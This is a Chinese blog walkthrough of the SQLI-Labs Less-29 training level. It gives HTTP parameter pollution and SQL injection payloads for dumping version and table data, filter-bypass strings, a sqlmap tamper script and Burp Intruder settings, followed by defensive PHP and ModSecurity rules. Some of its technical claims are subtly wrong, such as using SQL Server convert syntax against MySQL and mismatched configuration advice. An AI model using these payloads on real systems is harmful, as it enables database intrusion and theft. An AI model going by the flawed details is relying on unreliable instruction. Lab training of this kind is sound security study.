news 2026/11/2 3:08:01

SQL注入实战:SQLI-Labs靶场搭建与Less-29通关技巧

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
SQL注入实战:SQLI-Labs靶场搭建与Less-29通关技巧

1. SQLI-Labs靶场环境搭建与Less-29通关详解

作为Web安全领域的经典实训平台,SQLI-Labs由印度安全研究员Audi-1开发,目前GitHub星标已超5.8k。这个靶场系统通过65个渐进式关卡,完整覆盖了从基础Union注入到WAF绕过等全场景SQL注入技术。Less-29作为中级难度关卡,重点训练HTTP参数污染(HPP)与多重过滤机制下的注入技巧。

1.1 环境准备要点

在本地搭建测试环境时,建议使用XAMPP集成环境(Apache 2.4 + PHP 7.4 + MySQL 8.0)。克隆仓库后需特别注意:

git clone https://github.com/Audi-1/sqli-labs.git /var/www/html/sqli-labs

修改数据库配置时,现代MySQL版本需要调整认证插件。编辑sql-connections/db-creds.inc时应添加:

$dbpass='your_password'; $dbhost='localhost'; mysqli_options($conn, MYSQLI_OPT_INT_AND_FLOAT_NATIVE, 1); // 解决数据类型转换问题

注意:PHP 8.x环境下需注释掉index.php中的mysql_connect()调用,改用mysqli_connect()

1.2 Less-29技术特征分析

该关卡模拟了以下防御机制:

  • 参数名白名单校验(仅接受id参数)
  • addslashes()转义处理
  • 多层级参数解析(Apache+PHP双重解析)
  • 空格与注释符过滤

核心突破点在于利用HTTP参数污染特性。当提交?id=1&id=2'时,不同技术栈的解析差异:

  • Apache会传递两个id参数给PHP
  • PHP默认取最后一个参数值
  • 但部分WAF会检查第一个参数

2. 手工注入全流程拆解

2.1 初始探测与报错分析

使用Burp Suite拦截请求,构造特殊参数观察响应:

GET /Less-29/index.php?id=1%27%20--+ HTTP/1.1 Host: localhost

关键响应特征:

You have an error in your SQL syntax... check the manual that corresponds to your MySQL server version...

通过报错信息可确认:

  1. 存在单引号字符型注入
  2. 注释符--+被过滤
  3. 空格转换为加号仍有效

2.2 参数污染利用技巧

构造双重参数绕过转义:

?id=1&id=2' and 1=convert(int,@@version)--

成功执行原理:

  1. 第一个id=1通过基础校验
  2. 第二个参数中的单引号未被转义
  3. convert()函数替代空格避免过滤

2.3 数据提取完整Payload

获取数据库版本信息:

?id=1&id=0' union select 1,@@version,3--+

爆表结构时需注意:

?id=1&id=0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+

实战技巧:遇到列名过滤时可用table_schema=0x[hex编码]替代

3. 自动化注入工具适配方案

3.1 SQLmap定制策略

创建hpp-tamper.py脚本处理参数污染:

import re from lib.core.enums import PRIORITY __priority__ = PRIORITY.NORMAL def tamper(payload, **kwargs): return "1&id=" + payload.replace(" ", "+")

执行命令:

sqlmap -u "http://localhost/Less-29/index.php?id=1" --tamper=hpp-tamper --dbs

3.2 Burp Intruder爆破模式

设置Payload Positions时:

  1. 添加两个id参数
  2. 第一个参数固定为合法值
  3. 第二个参数放置注入点

使用Pitchfork攻击类型,Payload Set配置:

  • Set1:固定值1
  • Set2:SQL注入字典

4. 防御方案与代码审计要点

4.1 安全编码实践

修复方案应包含:

$id = $_GET['id'] ?? ''; if (is_array($id)) die('Invalid input'); $id = $mysqli->real_escape_string($id); $query = "SELECT * FROM users WHERE id='$id' LIMIT 1";

4.2 WAF规则配置建议

针对HPP攻击的ModSecurity规则:

SecRule &ARGS_GET:id "@gt 1" "id:10001,deny,msg:'HTTP Parameter Pollution'" SecRule ARGS_GET "@contains '" "id:10002,deny,msg:'SQLi Detection'"

5. 深度绕过技术研究

5.1 多重解析差异利用

不同中间件对重复参数的处理差异:

技术栈处理方式可利用性
Apache+PHP取最后一个值★★★★☆
IIS+ASP.NET拼接逗号分隔★★☆☆☆
Nginx+Python转换为数组★☆☆☆☆

5.2 非常规注释技巧

当--+和#被过滤时,可尝试:

?id=1%27%00/*!50000and*/1=1%23

利用:

  1. NULL字节截断
  2. MySQL版本特定语法
  3. URL编码混淆

6. 靶场进阶训练建议

完成基础注入后,可尝试:

  1. 不使用union获取数据(通过报错/布尔盲注)
  2. 绕过模拟WAF(如Cloudflare规则)
  3. 实现OOB带外数据泄露
  4. 结合XSS实现联合攻击

我在实际渗透测试中发现,现代CMS系统往往在API网关处存在参数解析差异,这种特性在RESTful接口中尤为明显。建议在掌握基础技巧后,重点研究JSON参数污染和Content-Type转换场景下的注入技术。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/11/2 3:07:58

工业软件架构演进:从ISA-95金字塔到统一命名空间

1. 工业软件架构的演进背景工业软件架构在过去几十年经历了从封闭系统到开放互联的转变。传统ISA-95金字塔模型诞生于上世纪90年代,当时工业环境以垂直集成为主,各层级系统相对独立运行。这种分层架构确实在早期工业自动化中发挥了重要作用,但…

作者头像 李华
网站建设 2026/11/2 3:07:31

四人智力竞赛抢答器:纯硬件锁存与数字时序设计实战

简介:本资源为西华大学《四人智力竞赛抢答器》课程设计完整说明书,面向电子类、自动化及嵌入式方向本科生与课程设计初学者,解决多路抢答信号锁存、优先判别、声光指示、倒计时控制与分数动态管理等典型数字系统设计问题。压缩包含1个857KB的…

作者头像 李华
网站建设 2026/11/2 3:05:54

Jev Harness:显式状态驱动的Coding Agent执行协议

1. 项目概述:什么是“Jev 与 Coding Agent:显式状态驱动的 harness 设计”你最近在技术社区、GitHub 趋势榜或工程团队内部讨论里,反复看到Jev、Coding Agent、harness、显式状态这几个词被高频捆绑出现——不是零散术语,而是作为…

作者头像 李华
网站建设 2026/11/2 3:05:27

高效学习笔记方法论与数字工具实践指南

1. 学习笔记的价值与意义2026年3月6日这一天,我像往常一样记录下了当天的学习心得。这种看似简单的日常习惯,实际上蕴含着巨大的价值。学习笔记不仅是知识的容器,更是思维成长的见证者。通过持续记录,我们能够清晰地看到自己认知边…

作者头像 李华
网站建设 2026/11/2 3:03:02

土豆病害检测数据集:8908张图片与30854个标注框的VOC/YOLO双格式解析

简介:这份资源是面向农业视觉检测研究者与算法开发者的土豆病害检测数据集说明文档,围绕8908张图像、5类目标的标注体系展开,可用于训练和评估土豆病害识别模型,覆盖损伤、缺陷、真菌性病害、正常及萌芽等常见状态。压缩包共1个do…

作者头像 李华
网站建设 2026/11/2 3:03:02

电力在线监测系统:从故障抢修到智能预防

1. 电力"110"在线监测系统概述电力"110"在线监测系统是现代电网运维管理的重要技术手段,它借鉴了城市应急服务"110"的快速响应理念,通过实时监测、智能分析和预警处置,构建起电力设备的全天候健康监护体系。这…

作者头像 李华